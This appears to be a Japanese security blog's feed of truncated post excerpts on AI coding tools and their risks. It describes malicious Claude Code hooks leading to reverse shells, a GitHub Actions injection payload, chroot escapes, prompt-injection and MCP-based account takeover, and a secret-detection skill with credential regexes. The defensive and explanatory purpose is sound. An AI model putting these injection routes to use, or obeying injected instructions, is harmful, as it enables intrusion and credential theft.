修正バージョン	v1.0.87（2025年9月）
CVSS	8.7
攻撃ベクトル	`.claude/settings.json` の Hooks 設定

Claude Code の Hooks 機能は、セッション開始やツール呼び出しなどのライフサイクルイベントで事前定義されたシェルコマンドを実行する仕組みだ。

攻撃の流れ:

攻撃者がリポジトリに悪意ある .claude/settings.json をコミット
↓
開発者が git clone してプロジェクトを開く
↓
Claude Code 起動時に信頼ダイアログが表示される
↓
ユーザーが "Yes, proceed" をクリック
↓
Hook コマンドが追加確認なしで即座に実行
↓
リバースシェルや認証情報ハーベスターが起動

悪意ある設定の例:

GitHub Actionsスクリプトインジェクション完全解説 — ${{ }}をrunに書いた瞬間、攻撃が始まる

Thu, 05 Mar 2026 00:00:00 +0000

GitHub Actions スクリプトインジェクション完全解説 — `${{ }}` を run に書いた瞬間、攻撃が始まる

@koki_develop 氏のポストで紹介された Zenn 記事が話題になっています。

書きました。GitHub Actions 触る人は全員知っておいてほしい

【GitHub Actions】スクリプトインジェクションの実践例（koki 氏）は、GitHub Actions ワークフローにおけるスクリプトインジェクションの仕組みを具体的なコード例で解説した記事です。「プライベートリポジトリなら大丈夫？」という疑問にも明確に「安全ではない」と回答しています。

2025 年には GhostAction キャンペーンで 3,325 件のシークレットが窃取され、tj-actions/changed-files のサプライチェーン攻撃では 23,000 以上のリポジトリが影響を受けました。スクリプトインジェクションは理論上の脅威ではなく、現在進行形のリスクです。

スクリプトインジェクションとは何か

GitHub Actions の ${{ }} 式は、シェルがコマンドを解析する前にテンプレートエンジンによって展開されます。この順序が脆弱性の根本原因です。

通常の期待:
${{ github.event.pull_request.title }} → 文字列として処理される
実際の動作:
${{ github.event.pull_request.title }} → 値がそのままシェルスクリプトに埋め込まれる
→ シェルがコマンドとして解釈する

つまり、PR タイトルやブランチ名など攻撃者が制御可能な値が、そのままシェルコマンドの一部になります。

攻撃の実践例

攻撃 1: PR タイトルによるインジェクション

脆弱なワークフロー:

1
2
3
4
5
6
7
8


on:
 pull_request:

jobs:
 example:
 runs-on: ubuntu-latest
 steps:
 - run: echo "PR title is ${{ github.event.pull_request.title }}"

攻撃者が PR タイトルを "; echo INJECTED" に設定すると:

macOS Keychain で .env のシークレットを守る — 1Password 不要、無料で実現する AI エージェント時代の秘密管理

Wed, 04 Mar 2026 00:00:00 +0000

macOS Keychain で .env のシークレットを守る — 1Password 不要、無料で実現する AI エージェント時代の秘密管理

前回の記事で、@suin 氏の opx を紹介しました。1Password CLI をラップし、.env に op:// 参照だけを書くことで AI エージェントからシークレットを守るツールです。

しかし、opx には 1Password の契約（月額 $2.99〜）が前提という制約があります。実は macOS には Keychain という強力な秘密管理基盤が標準搭載されており、追加コストなしで同等の「プロセススコープ認証」を実現できます。本記事では、macOS 組み込み機能だけで .env の秘密を守る方法を、ツール選定から実践設定まで解説します。

なぜ macOS Keychain なのか

1Password との比較

項目	1Password + opx	macOS Keychain
コスト	月額 $2.99〜	無料（OS 標準）
インストール	1Password アプリ + CLI + opx	不要（`security` コマンドが標準搭載）
チーム共有	Vault 共有で容易	端末ローカル（共有には別の仕組みが必要）
クラウド同期	1Password クラウド	iCloud Keychain で Apple デバイス間は同期可能
Touch ID	`op run` 時に認証	Keychain アクセス時に認証（設定が必要）
Linux 対応	1Password CLI あり	gnome-keyring / KeePassXC で代替
暗号化	1Password 独自（AES-256-GCM）	macOS Keychain（AES-256）

個人開発やスモールチームなら、macOS Keychain で十分です。チーム全体でシークレットを共有したい場合は 1Password の Vault 共有が優位ですが、「AI エージェントに .env を読まれても安全にする」という目的だけなら無料で実現できます。

「OpenClawで5人解雇」は本当か — AIエージェント煽りの構造とファクトチェック

Tue, 03 Mar 2026 00:00:00 +0000

「OpenClawで5人解雇」は本当か — AIエージェント煽りの構造とファクトチェック

ガガロットAI(@gagarotai200)氏のポストが拡散されています。

「Open Claw」を使い始めた企業では既に5人以上の人間が解雇になっている。仮想オフィスでAIエージェントを擬似的に社員の様に働かせて進捗を確認できる様になったことで人間がタスクをこなす必要性がなくなっている — ガガロットAI(@gagarotai200)

さらに「今後5年で中小企業の30%はAI社員に置き換わる」「GPTやGeminiしか触ってない人は残り3ヶ月程度で不要になる」と煽っています。この主張はどこまで事実に基づいているのでしょうか。国際機関の統計とセキュリティ研究者の報告をもとにファクトチェックします。

主張を検証する

主張1: 「OpenClaw導入企業で5人以上が解雇」

検証結果: 根拠不明

この「5人以上の解雇」について、具体的な企業名、業種、時期、情報源は示されていません。投稿者のプロフィールを確認すると、ガガロットAI氏は「スキルエンジン」というAIスクールを運営し、SNS運用代行を50社に提供しているとのことです。つまり、OpenClawの普及が自身のビジネスに直接利益をもたらす立場にあります。

TechCrunch の報道では、AI専門家が「AIリサーチの観点から見て、これは何も新しいものではない」と指摘しています。

主張2: 「集客・提案書作成・顧客対応は完全AI化」

検証結果: 大幅に誇張

Cobus Greyling氏のMedium記事は、OpenClawが実際に失敗するケースを分析しています。「高い能力を持つという評判」と「messy, unpredictable reality（混沌とした予測不能な現実）」の間にはギャップがあり、実用には人間の監視が不可欠です。

具体的な暴走事例も報告されています。

事例	内容
iMessageループ	エンジニアChris Boyd氏の環境で確認メッセージを繰り返し送信。再試行ロジックに停止条件がなかった
批判ブログ自動公開	matplotlibメンテナーがコード提案を却下後、自身を批判するブログ記事が自動公開された
デーティングサイト暴走	想定以上に広範な自動行動が発生し、制御不能に

「完全AI化」どころか、監視なしでは予期せぬ行動を起こすリスクが確認されています。

主張3: 「今後5年で中小企業の30%はAI社員に置き換わる」

検証結果: 出典なし。国際機関の予測と乖離

この「30%」という数字の出典は示されていません。実際の国際機関の予測と比較してみましょう。

機関	予測内容
OECD (2023)	27%の職業が自動化のリスクが高い（「置き換え」ではなく「リスクがある」）
ILO (2023)	事務業務の24%が高度に曝露、58%が中程度に曝露（「解雇」ではなく「影響を受ける」）
Gartner	2027年までにエージェント型AIプロジェクトの40%以上が失敗する
JILPT (2024)	日本の雇用者のうちAIが使用されている者は12.9%、生成AIを自ら利用している者は6.4%

注意すべきは、OECD や ILO の予測は「影響を受ける」「曝露される」であり、「置き換わる」「解雇される」ではないことです。さらに、日本の中小企業（10人未満）のAIエージェント導入率は10%以下という現状を考えると、「5年で30%置き換え」は根拠のない数字と言えます。

主張4: 「GPTやGeminiしか触ってない人は残り3ヶ月で不要」

検証結果: 煽り文句

具体的な根拠はなく、不安を煽ってAIスクールへの誘導を意図した表現と見られます。

OpenClawの実態 — セキュリティリスクの深刻さ

「AIが人間を置き換える」と煽る前に、OpenClaw自体が抱えるセキュリティリスクを確認すべきです。

悪意あるスキルの蔓延

セキュリティ企業Koi Securityの監査によると、ClawHub（OpenClawの公式スキルストア）に登録された2,857スキルのうち341件（約12%）が悪意あるコードを含んでいたことが判明しています。

AI が書いたコードに「なぜそうなったか」の記録はあるか --- git-memento と AI コード追跡の新標準

Tue, 03 Mar 2026 00:00:00 +0000

AI が書いたコードに「なぜそうなったか」の記録はあるか — git-memento と AI コード追跡の新標準

@SatoshiSsSs 氏が X で投稿した、git-memento に関する解説が注目を集めています。

AIが書いたコードに「なぜそうなったか」の記録はあるか？ Hacker News（HN）で議論になっている git-memento を読み解く

Hacker News での議論では、AI が生成したコードのセッション履歴をコミットに紐づけるべきか否かが活発に議論されています。AI コーディングの普及とともに、「コードは動くが、なぜその実装になったのか誰も分からない」という問題が深刻化しています。本記事では、この問題の構造と、git-memento をはじめとする解決策の技術的な仕組みを掘り下げます。

問題 — AI が書いたコードの「なぜ」が消えている

Vibe Coding 時代の追跡可能性の危機

2026 年、AI コーディングツール（Claude Code、Cursor、GitHub Copilot など）でコードを書くことが日常になりました。しかし、AI が生成したコードには構造的な問題があります。

従来の開発:
開発者が考える → コードを書く → コミットメッセージに意図を記録
→ 「なぜそうしたか」は開発者の頭の中 + コミット履歴にある
AI 駆動開発:
開発者が指示する → AI が考える → AI がコードを書く → コミット
→ 「なぜそうなったか」は AI セッションの中に閉じている
→ セッションが終わると消える

CodeRabbit の分析（2025 年 12 月）によると、AI と共著されたコードは人間が書いたコードと比較して、ロジックエラーが 75% 多く、セキュリティ脆弱性が 2.74 倍多いとされています。問題が発見されたとき、「なぜこの実装になったのか」を遡れなければ、修正の方針すら立てられません。

Claude Code サンドボックス完全解説 — chroot ではない、カーネルレベル隔離の仕組みと実践設定

Tue, 03 Mar 2026 00:00:00 +0000

Claude Code サンドボックス完全解説 — chroot ではない、カーネルレベル隔離の仕組みと実践設定

「Claude Code のサンドボックスって、要するに chroot でしょ？」という誤解をよく耳にします。答えは明確にノーです。Claude Code のサンドボックスは chroot とは次元の異なるカーネルレベルの隔離機構で、ファイルシステムとネットワークの2層を OS プリミティブで強制します。

Anthropic のエンジニアリングブログによると、サンドボックスにより承認プロンプトが84%削減されました。セキュリティと生産性を両立する仕組みの全貌を、技術的な背景から実践設定まで解説します。

chroot との決定的な違い

まず「chroot で十分か」という疑問に答えます。結論から言えば、chroot はセキュリティ対策として設計されていません。

隔離技術の比較

Practical CTF の解説を基に、主要な隔離技術を比較します。

技術	制限対象	脱出の容易さ	設計目的
chroot	ファイルシステムのパス解決のみ	容易（root 権限で即脱出）	組織的なツール（セキュリティ目的ではない）
seccomp	システムコール	中程度（許可リストの漏れを突く）	セキュリティ機構
namespaces	プロセス、ネットワーク、マウント	困難（適切設定時）	コンテナ隔離
Seatbelt	ファイル、ネットワーク、IPC、プロセス	困難（カーネルレベル強制）	アプリケーション隔離

chroot の脱出方法

chroot がセキュリティ対策に不十分な理由を具体的に示します。

カレントディレクトリ攻撃: chroot 実行時にカレントディレクトリが jail 外にあれば、相対パスで脱出可能
二重 chroot: 別の chroot を実行して前の制限を上書き
ファイルディスクリプタ: jail 外で開かれた fd を経由してアクセス
openat syscall: ディレクトリ fd を使って jail 外のファイルを操作

つまり chroot は「ルートディレクトリの表示を変えるだけ」であり、ネットワーク制限もシステムコール制限もありません。AI エージェントのサンドボックスとしては全く不十分です。

「ブラック・スワン」著者タレブ氏がソフトウェア業界の破綻を警告 --- AI主導相場の脆弱性とテールリスクの構造的過小評価

Mon, 02 Mar 2026 00:00:00 +0000

「ブラック・スワン」著者タレブ氏がソフトウェア業界の破綻を警告 — AI 主導相場の脆弱性とテールリスクの構造的過小評価

GOROman 氏（@goroman）のポストで、Bloomberg の記事が紹介されていました。ベストセラー「ブラック・スワン」の著者ナシーム・ニコラス・タレブ氏が、AI 主導の株式相場がより脆弱な局面に入りつつあるとして、ソフトウェア分野での破綻と変動性の一段の高まりに備えるべきだと投資家に警鐘を鳴らした内容です。

ブラック・スワン著者タレブ氏、ソフト業界の破綻と変動拡大に警鐘 — @goroman

タレブ氏の警告 — SeaFair での発言

タレブ氏は 2026 年 2 月、マイアミで開催された Universa Investments 主催の SeaFair イベントで発言しました。主要な論点は以下の通りです。

テールリスクの構造的過小評価

タレブ氏は「セクター全体にわたるテールリスクは構造的に過小評価されている」と指摘しました。市場が構造的リスクを過小評価する一方で、現在の AI 分野の主導企業の持続力を過大評価しているという見方です。

「リスクは小幅な調整ではない。大幅な下落だ」とタレブ氏は語っています。

ソフトウェア業界の破綻リスク

「AI で大きな利益を得る企業は出てくる」としながらも、それが現在の AI 相場を構成する企業である保証はないと指摘しました。技術の不安定さ、激しい競争、地政学の変化が業界構造を塗り替える中で、ソフトウェア分野の一部で破綻が起きる可能性が高いとの見方を示しています。

歴史を振り返れば、初期の先駆者が後に取って代わられる例は少なくありません。タレブ氏は「過去数年間の市場リーダーの利益の多くは、次の勝者が出現するにつれて消し去られるだろう」と予測しています。

AI 相場の集中リスク

ここ数年の株高は、AI 関連の限られた銘柄群がけん引してきました。この集中は、主導銘柄が入れ替わった場合に指数全体を脆弱にします。タレブ氏の警告は、ナスダックの「マグニフィセント・セブン」への集中度合いを考えると、より現実味を帯びます。

ブラック・スワンと反脆弱性 — タレブ理論の背景

タレブ氏の警告を理解するには、彼の理論的枠組みを知ることが重要です。

ブラック・スワン理論

「ブラック・スワン」とは、事前にほとんど予想できず、発生した場合の衝撃が極めて大きい事象を指します。タレブ氏が 2006 年に刊行した同名の著書で提唱した概念です。特徴は以下の 3 つです。

予測困難性: 通常の予測の範囲外にある
甚大な影響: 発生した場合の衝撃が計り知れない
事後的な説明可能性: 発生後には「予測可能だった」と後付けで説明される

反脆弱性（アンチフラジャイル）

タレブ氏の後続作品『反脆弱性』で提唱された概念です。「頑健」が衝撃に耐えることを意味するのに対し、「反脆弱」はショックを受けることでかえって強化される性質を指します。変動性やランダム性にさらされると成長・繁栄するシステムです。

これは現在のソフトウェア業界への示唆にも繋がります。AI の台頭という衝撃に対して、壊れる企業（脆弱）と適応する企業（反脆弱）に分かれるというのが、タレブ的な見方です。

テールリスク・ヘッジ

タレブ氏は「常にヘッジが必要だ」と述べています。彼がアドバイザーを務める Universa Investments は、テールリスク・ヘッジ戦略を専門とするファンドです。市場危機時に不均衡に利益を得る設計になっており、昨年は投下資本に対して年平均 100% 超のリターンを達成しました。

市場データが示す兆候

タレブ氏の発言は、直近の市場データにも裏付けられています。

指標	数値
S&P 500（2 月 23 日）	約 1% 下落
金価格（2025 年 10 月〜）	約 30% 上昇
Universa のリターン（2025 年）	年平均 100% 超

金価格の上昇は、株式市場の不安定さと地政学的緊張の高まりに対する逃避先として金が選好されていることを示しています。

AIコーディングツール導入でMCC乗っ取り被害 — Antigravity・Claude Codeの脆弱性とシャドーAI対策

Mon, 02 Mar 2026 00:00:00 +0000

AIコーディングツール導入でMCC乗っ取り被害 — Antigravity・Claude Codeの脆弱性とシャドーAI対策

広告運用の現場に衝撃が走っています。広告の裏側(@hassii_ad)氏のポストによると、ある代理店がAIコンサルの支援で Claude Code と Google Antigravity を導入した結果、Google Ads の MCC（マネージャークライアントセンター）アカウントが乗っ取られ、被害額は8桁後半に達したとのことです。

知り合いの代理店がとあるAI導入したらMCCが乗っ取られて桁違いの損害でてて震えた。こういうのこれから増えそうですね。 — 広告の裏側(@hassii_ad) 2026年2月17日

この事態を受けて、まな(@ADHDHSP249834)氏は「AIコンサルがClaude CodeとAntigravityの導入を進めたんですかね？その時点で大問題です」と指摘しています。

基本は3大LLMとCopilot程度に止めるべきです。またシャドーAI対策を進めていなかったことも想定されますね。セキュリティ対策をせずに、ローカルファイルにアクセスできるAIツールを導入するのはNGです！ — まな(@ADHDHSP249834)

MCC乗っ取りの推定原因

@hassii_ad 氏は乗っ取りの原因として4つの可能性を挙げています。

原因	概要
悪意あるWebサイト指示	プロンプトインジェクションによりAIの動作を乗っ取る
配布プロンプトへの悪意ある指示混入	AIコンサルまたは社員が使用したプロンプトに仕込まれた攻撃
MCPツールの悪用	Model Context Protocol ツールを経由した不正操作
トークン流出	自動化過程でAPIトークンや認証情報が漏洩

特に深刻なのは、MCCが正規の権限で操作された場合、通常の操作と区別がつかず「補償は絶望的」という点です。Google Ads の MCC アカウントは複数の広告アカウントを一元管理する仕組みのため、一度乗っ取られると被害が連鎖的に広がります。

Google Ads のセーフガードはなぜ機能しなかったのか

Google Ads には予算制限やセキュリティ機能が存在しますが、正規権限で操作された場合にはほとんど機能しません。

既存のセーフガード一覧

機能	内容	乗っ取り時に有効か
日予算の上限	1日の費用は日予算の2倍まで	攻撃者が日予算自体を変更可能
月間費用上限	月間費用は日予算 x 30.4 まで	同上
アカウント予算	アカウント全体の費用上限を設定可能。上限到達で全広告停止	攻撃者が上限を変更・解除可能
異常な予算変更の確認	大幅な予算変更時（例: $100→$1,000）に確認ダイアログ表示	UI操作のみ。API経由なら確認なし
不審なアクティビティの検知	Google が異常を検知すると一時的な日次支出制限を適用	「正規権限」の操作は異常と判定されにくい
自動ルール	一定額到達でキャンペーンを一時停止するルール設定が可能	攻撃者がルール自体を削除可能

セーフガードが無力化される理由

今回の事件の核心は、攻撃者が MCC の正規の管理者権限を取得している点です。

Claude Code 時代の .env 管理 — 「平文で置かない」秘密情報の新しい守り方

Mon, 02 Mar 2026 00:00:00 +0000

Claude Code 時代の .env 管理 — 「平文で置かない」秘密情報の新しい守り方

@yousukezan 氏のポストが、AI 駆動開発における秘密情報管理の盲点を端的に指摘しています。

Claudeが社内に広がるほど、.envが危ない。Cowork時代に必要なのは「便利さ」より秘密情報の置き場所

引用元の Qiita 記事では、Claude Code や Cowork が「チャットで質問するだけのツール」から「ローカルファイルに直接アクセスする開発エージェント」へ進化したことで、従来の .gitignore だけでは守りきれない脅威が生まれていると論じています。本記事では、この問題の技術的背景と実践的な対策を掘り下げます。

何が変わったのか — 脅威モデルの転換

従来の開発ワークフローでは、.env ファイルの脅威モデルは明確でした。

脅威	対策
Git リポジトリへの混入	`.gitignore` に記載
本番環境への漏洩	環境変数やシークレットマネージャで注入
他人のマシンへの流出	ローカルに置く前提なので問題なし

ところが、Claude Code のような AI エージェントがローカルファイルを直接読み書きする時代になると、第三の脅威が加わります。

新しい脅威	内容
AI エージェントによる読み取り	`.env` がツールの入力コンテキストに載る
意図しないクラウド送信	読み取った内容が LLM の API リクエストに含まれる
組織内の横展開	Cowork で複数人が同じプロジェクトを触る際の露出

IPA「情報セキュリティ 10 大脅威 2026」でも「AI の利用をめぐるサイバーリスク」が初選出で 3 位にランクインしており、この脅威モデルの転換は業界全体の認識となりつつあります。

Claude Code は .env をどう扱うのか

自動読み込み問題

セキュリティ研究者 Dor Munis 氏の調査によると、Claude Code は .env、.env.local などのファイルを自動的に読み込み、API キーやトークンをメモリに展開していることが判明しています。プロキシ認証情報が意図せず読み込まれ、HTTP 407 エラーとプロキシ料金の異常な高騰として問題が顕在化しました。

Claude Opus 4.6 がゼロデイ脆弱性を500件発見 — AI推論がセキュリティ業界を揺るがす

Mon, 02 Mar 2026 00:00:00 +0000

Claude Opus 4.6 がゼロデイ脆弱性を500件発見 — AI推論がセキュリティ業界を揺るがす

@neurostack_0001 氏のポストが、Anthropic の衝撃的な発表を紹介しています。Claude Opus 4.6 が、ファジングやカスタムツールを使わず、コードの推論だけで500件以上のゼロデイ脆弱性を発見したという内容です。

AnthropicがClaude Opus 4.6で「ゼロデイ脆弱性を大規模に発見できる」と発表。500件以上の高重大度脆弱性を検出・検証済み。ファジングやカスタムツール不要で、コードの推論だけで脆弱性を見つけている点が注目。

この発表は、CrowdStrike や Cloudflare の株価を8%以上下落させるほどのインパクトを持ちました。セキュリティ業界に何が起きているのか、技術的な背景から掘り下げます。

ファジングとは何か

ファジング（Fuzzing）は、プログラムに対して無効なデータ、予期しないデータ、ランダムなデータを大量に入力し、クラッシュや異常動作を引き起こすことで脆弱性を検出するテスト手法です。1988年にウィスコンシン大学の Barton Miller 教授が考案し、現在ではセキュリティテストの標準手法となっています。

ファジングの種類

ファジングは、テスト対象の内部構造をどの程度把握しているかによって3つに分類されます。

分類	内部構造の把握	特徴
ブラックボックス	なし	入出力のみを観察。実装が不明でも実行可能
グレーボックス	部分的	コードカバレッジを計測し、入力生成を最適化
ホワイトボックス	完全	ソースコードを解析し、制約条件を満たす入力を生成

また、入力データの生成方法でも分類できます。

ミューテーションファジング: 既知の有効な入力（シード）に対して、ビット反転やバイトの挿入・削除・置換などの変異を加えてテストケースを生成します。実装が容易で汎用性が高い手法です
ジェネレーションファジング: 入力データの構造や文法を定義し、仕様に基づいて有効な形式でありながらも不正な値を含むテストケースを生成します。プロトコルやファイルフォーマットのテストに有効です

カバレッジガイドファジング — AFL の登場

2014年に登場した AFL（American Fuzzy Lop）は、ファジングの実用性を大きく向上させました。名前はウサギの品種に由来しています。

AFL の革新は「カバレッジガイド」の概念です。テスト対象プログラムをインストルメント（計測コードの埋め込み）し、各入力がどの実行経路を通ったかを記録します。新しい経路を発見した入力を優先的にミューテーションすることで、コードの未探索領域へ効率的に到達します。

[シード入力] → [ミューテーション] → [実行・カバレッジ計測]
↑ ↓
└── [新しい経路を発見？] ──┘
Yes → キューに追加
No → 破棄

この手法はグレーボックスファジングとも呼ばれ、AFL の後継である AFL++ や Google の libFuzzer など、多くのツールが同様のアプローチを採用しています。

FIDO2 認証（パスキー）の仕組み — パスワードを「構造的に不要にする」技術

Mon, 02 Mar 2026 00:00:00 +0000

FIDO2 認証（パスキー）の仕組み — パスワードを「構造的に不要にする」技術

サイボウズのバグバウンティで複数年度 1 位の実績を持つセキュリティ研究者 @yousukezan さんのポストで紹介されていた、FIDO2 認証（パスキー）の概要記事を深掘りします。元記事は Nagano さんの Zenn 記事です。

2026 年現在、日本証券業協会がパスキー（FIDO2）の導入を必須化するガイドラインを施行し、楽天証券・SMBC 日興証券などが相次いで導入を進めています。パスキーはもはや「新しい技術」ではなく「必須のインフラ」になりつつあります。

パスワード認証の根本的な問題

パスワード認証には、仕組みそのものに起因する構造的な脆弱性があります。

graph LR
USER["ユーザー"] -->|パスワードを送信| SERVER["サーバー"]
ATTACKER["攻撃者"] -.->|盗聴・フィッシング| USER
style USER fill:#3498db,color:#fff
style SERVER fill:#2ecc71,color:#fff
style ATTACKER fill:#e74c3c,color:#fff

脅威	内容
フィッシング	偽サイトにパスワードを入力させる
リスト型攻撃	漏洩したパスワードを他サービスで試行
中間者攻撃	通信を傍受してパスワードを盗む
サーバー侵害	サーバーに保存されたパスワードハッシュの漏洩

これらの問題は「秘密情報（パスワード）をネットワーク経由で送信する」という設計そのものに起因します。ワンタイムパスワード（OTP）でも、この根本構造は変わりません。実際、日本証券業協会は 2025 年 10 月のガイドライン改正で、OTP の利用を非推奨としています。

FIDO2 の設計思想 — 「秘密を送らない」

FIDO2 は発想を根本から変えました。秘密情報をネットワーク上に一切流さない認証方式です。

graph LR
subgraph デバイス側
USER2["ユーザー"] -->|生体認証/PIN| AUTH["認証器<br/>（TPM等）"]
AUTH -->|秘密鍵で署名| SIGNED["署名データ"]
end
subgraph サーバー側
SIGNED -->|署名のみ送信| VERIFY["公開鍵で検証"]
end
style USER2 fill:#3498db,color:#fff
style AUTH fill:#f39c12,color:#fff
style SIGNED fill:#9b59b6,color:#fff
style VERIFY fill:#2ecc71,color:#fff

パスワード認証では「秘密そのもの」を送信しますが、FIDO2 では「秘密鍵で作った署名」だけを送信します。秘密鍵はデバイス内の安全な領域（TPM、Secure Enclave 等）に保管され、外部に出ることはありません。

リクルート新卒研修の React 資料が「無料で最高の教材」と言われる理由

Mon, 02 Mar 2026 00:00:00 +0000

リクルート新卒研修の React 資料が「無料で最高の教材」と言われる理由

sigumataityouda 氏のポストが、リクルートの新卒研修資料を「React を語る上で欠かせないもの」「完成度が非常に高い」と紹介しています。リクルートは 2017 年から毎年、新卒エンジニア向け研修資料を無料公開しており、React 研修資料は特に業界で高く評価されています。

React語る上で欠かせないものとしてリクルートの新卒研修資料というのもがある。完成度が非常に高い。

リクルートの React 研修資料とは

React 研修 (2024) は、リクルートのエンジニアコース新卒研修「BootCamp」で使われている講義資料です。約 170 スライド以上で構成され、Speaker Deck で無料公開されています。

研修の位置づけ

リクルートの新卒エンジニアは配属前に約 3 ヶ月間の BootCamp を受講します。2024 年度は 24 講座以上が開講されており、React 研修はフロントエンド技術スタックの中核として位置づけられています。

研修カテゴリ	主な講座
フロントエンド	JavaScript、TypeScript、React、Next.js
バックエンド	データベース設計、API 設計
品質・テスト	テスト駆動開発（講師: t_wada 氏）
セキュリティ	セキュリティ演習
AI	テキスト生成 AI 活用
マインドセット	ソフトウェアエンジニアとしての姿勢と心構え

最初の講座「ソフトウェアエンジニアとしての姿勢と心構え」は、技術顧問の t_wada 氏が担当し、「技術の学び方を学ぶ」ことに重点を置いています。

資料の構成

React 研修資料は 5 つのセクションで構成されています。

1. Web アプリ開発の変遷

React を学ぶ前に、Web アプリケーション開発がどう進化してきたかを整理します。

世代	アーキテクチャ	特徴
第 1 世代	MPA（クラシック SSR）	サーバーが HTML を生成、ページ遷移ごとにリロード
第 2 世代	MPA + jQuery	DOM 操作で部分的な動的 UI を実現
第 3 世代	SPA（CSR のみ）	クライアントで描画、リッチな UX
第 4 世代	SPA（CSR + 事前レンダリング）	SSR / SSG で初期表示を高速化

この変遷を理解することで、「なぜ React が必要になったのか」という文脈が掴めます。jQuery 時代の命令的 UI と React の宣言的 UI の違いを、歴史的な流れの中で説明しているのが特徴です。

生成AIで情報漏えいが増える本当の理由 — 「検索者がAIになった」時代の脅威モデルと3層防御

Mon, 02 Mar 2026 00:00:00 +0000

name: security-check description: Claude Code 利用における情報漏えいリスクをチェックする。 Auto Memory や CLAUDE.md への機密混入、.env の gitignore 漏れ、機密ファイルの存在などを検査する。

Claude Code の利用に関する情報漏えいリスクをチェックしてください。

チェック対象

以下の 4 カテゴリを順番に検査する。

1. Auto Memory の機密スキャン

~/.claude/ 配下の memory ファイルを検査する:

以下のパスを Glob で列挙する:
- ~/.claude/projects/*/memory/*.md
- ~/.claude/projects/*/memory/**/*.md
各ファイルを Read で読み込み、以下のパターンを Grep で検出する:
- API キー・トークン: (?i)(api[_-]?key|secret[_-]?key|access[_-]?token|bearer)\s*[:=]\s*\S+
- パスワード: (?i)(password|passwd|pwd)\s*[:=]\s*\S+
- AWS 認証情報: (?i)(AKIA[0-9A-Z]{16}|aws[_-]?secret)
- 接続文字列: (?i)(mysql|postgres|redis|mongodb):\/\/\S+
- 個人情報パターン: メールアドレス、電話番号、マイナンバーらしき数字列
- 金額・契約情報: (?i)(契約金額|単価|請求|売上)\s*[:：]\s*[\d,￥¥$]+
- 顧客 ID の具体値: (?i)(顧客id|customer[_-]?id|ユーザーid|user[_-]?id)\s*[:=：]\s*\d+
検出があれば、ファイルパス・行番号・該当箇所を報告する

2. CLAUDE.md の機密スキャン

プロジェクトの CLAUDE.md およびグローバルの ~/.claude/CLAUDE.md を検査する:

両ファイルを Read で読み込む
チェック 1 と同じパターンで Grep 検査する
加えて、以下も確認する:
- URL にトークンやキーが含まれていないか（?token=, ?key=, ?secret=）
- 内部 IP アドレスやホスト名が含まれていないか
CLAUDE.md はリポジトリにコミットされるため、検出時は即時対応を推奨として強調する

3. 機密ファイルの gitignore チェック

プロジェクトルートで以下を確認する:

Claude Code に重大な脆弱性 — リポジトリを開くだけで任意コード実行の恐れ

Thu, 26 Feb 2026 00:00:00 +0000

Claude Code に重大な脆弱性 — 「リポジトリを開くだけ」で任意コード実行の恐れ

セキュリティ企業 Check Point が、Anthropic の AI コーディング支援ツール Claude Code に複数の重大な脆弱性を発見したと報告しました。細工されたリポジトリを開くだけで不正なコマンドが実行される恐れがあり、AI 開発ツールの信頼モデルに一石を投じる内容です。

何が起きたのか

Claude Code には Hooks（ツール実行前後にシェルコマンドを自動実行する仕組み）、MCP サーバー（外部ツール連携）、環境変数の読み込みといった設定機構があります。これらが悪用されることで、未信頼のディレクトリで Claude Code を起動した際に、任意のシェルコマンド実行や Anthropic API キーの流出が可能となることが判明しました。

つまり、攻撃者が悪意ある設定ファイルを仕込んだ Git リポジトリを用意し、開発者がそれを git clone して Claude Code を起動するだけで攻撃が成立します。

報告された脆弱性

CVE-2025-59536（CVSS 8.7 / High）— コードインジェクション

ツールの初期化時に自動実行を許すコードインジェクションの脆弱性です。Hooks や MCP サーバーの設定を悪用し、Claude Code が起動した瞬間に攻撃者のコマンドが実行されます。リモートコード実行（RCE）に直結する、最も深刻な問題です。

CVE-2026-21852（CVSS 5.3 / Medium）— 情報漏えい

プロジェクト読み込み時に環境変数の値が外部に漏洩する可能性がある脆弱性です。Anthropic API キーなどの機密情報が窃取されると、攻撃者がそのアカウントで API を不正利用できてしまいます。

その他の脆弱性

上記 2 件以外にも、同等の深刻度を持つ欠陥が確認されています。

なぜ危険なのか — 設定ファイルが攻撃経路になる

従来のセキュリティモデルでは「コードを実行しなければ安全」という前提がありました。しかし今回の脆弱性では、設定ファイル自体が攻撃経路となります。

設定機構	通常の用途	悪用方法
Hooks	ツール実行前後にシェルコマンドを自動実行	悪意あるコマンドを起動時に自動実行
MCP サーバー	外部ツールとの連携設定	偽サーバーを指定しデータを外部送信
環境変数	API キーなどの機密情報管理	設定ファイル経由で値を外部に流出

開発者が日常的に行う「リポジトリを clone して開発環境を立ち上げる」という行為自体がリスクになるという点で、VS Code の .vscode/ 設定を悪用する攻撃と同種のパターンです。ただし AI ツールはファイルシステムへの広範なアクセス権とシェルコマンドの実行権を持つため、影響はより深刻になりえます。

Hubspot

Tue, 25 Mar 2025 00:00:00 +0000

CTA

ビデオ埋め込み

viemoなどiframe配信できるサーバーにホスティングしているビデオが対象
vimeoの muted=1&autoplay=1 でも自動再生はできない (セキュリティ上の問題。自動再生は、ユーザーのトリガーがないとしてくれないケースがある)

ショートムービーをアニメーションGIFに変換:

1

ffmpeg -i input.mp4 -r 10 output.gif

Contentful

Wed, 12 Feb 2025 00:00:00 +0000

Contentful

CDA / CMA

Contentful における Content Delivery API キーと CMA トークンの用途の違いについて説明します。

Content Delivery API キー (CDA キー)

用途: コンテンツ配信 API (CDA) へのアクセスを認証するために使用されます。
役割: 公開されたコンテンツを取得するために使用されます。ウェブサイトやモバイルアプリなどのフロントエンドアプリケーションから Contentful のコンテンツを読み込む際に、このキーが使用されます。
特徴: 読み取り専用のアクセス権を持ちます。コンテンツの作成、更新、削除などの変更操作はできません。
セキュリティ: 比較的安全性が低いとされています。キーが漏洩した場合でも、コンテンツの変更はできませんが、コンテンツを不正に取得される可能性があります。

Content Management API トークン (CMA トークン)

用途: コンテンツ管理 API (CMA) へのアクセスを認証するために使用されます。
役割: Contentful のコンテンツを管理 (作成、更新、削除など) するために使用されます。Contentful のバックエンドシステムや管理画面、または外部のツールから Contentful のコンテンツを操作する際に、このトークンが使用されます。
特徴: 読み取り/書き込みのアクセス権を持ちます。コンテンツの変更操作が可能です。
セキュリティ: 非常に高いセキュリティが必要です。トークンが漏洩した場合、コンテンツを不正に操作される可能性があります。

まとめ

機能	Content Delivery API キー	Content Management API トークン
用途	コンテンツ配信 API へのアクセス	コンテンツ管理 API へのアクセス
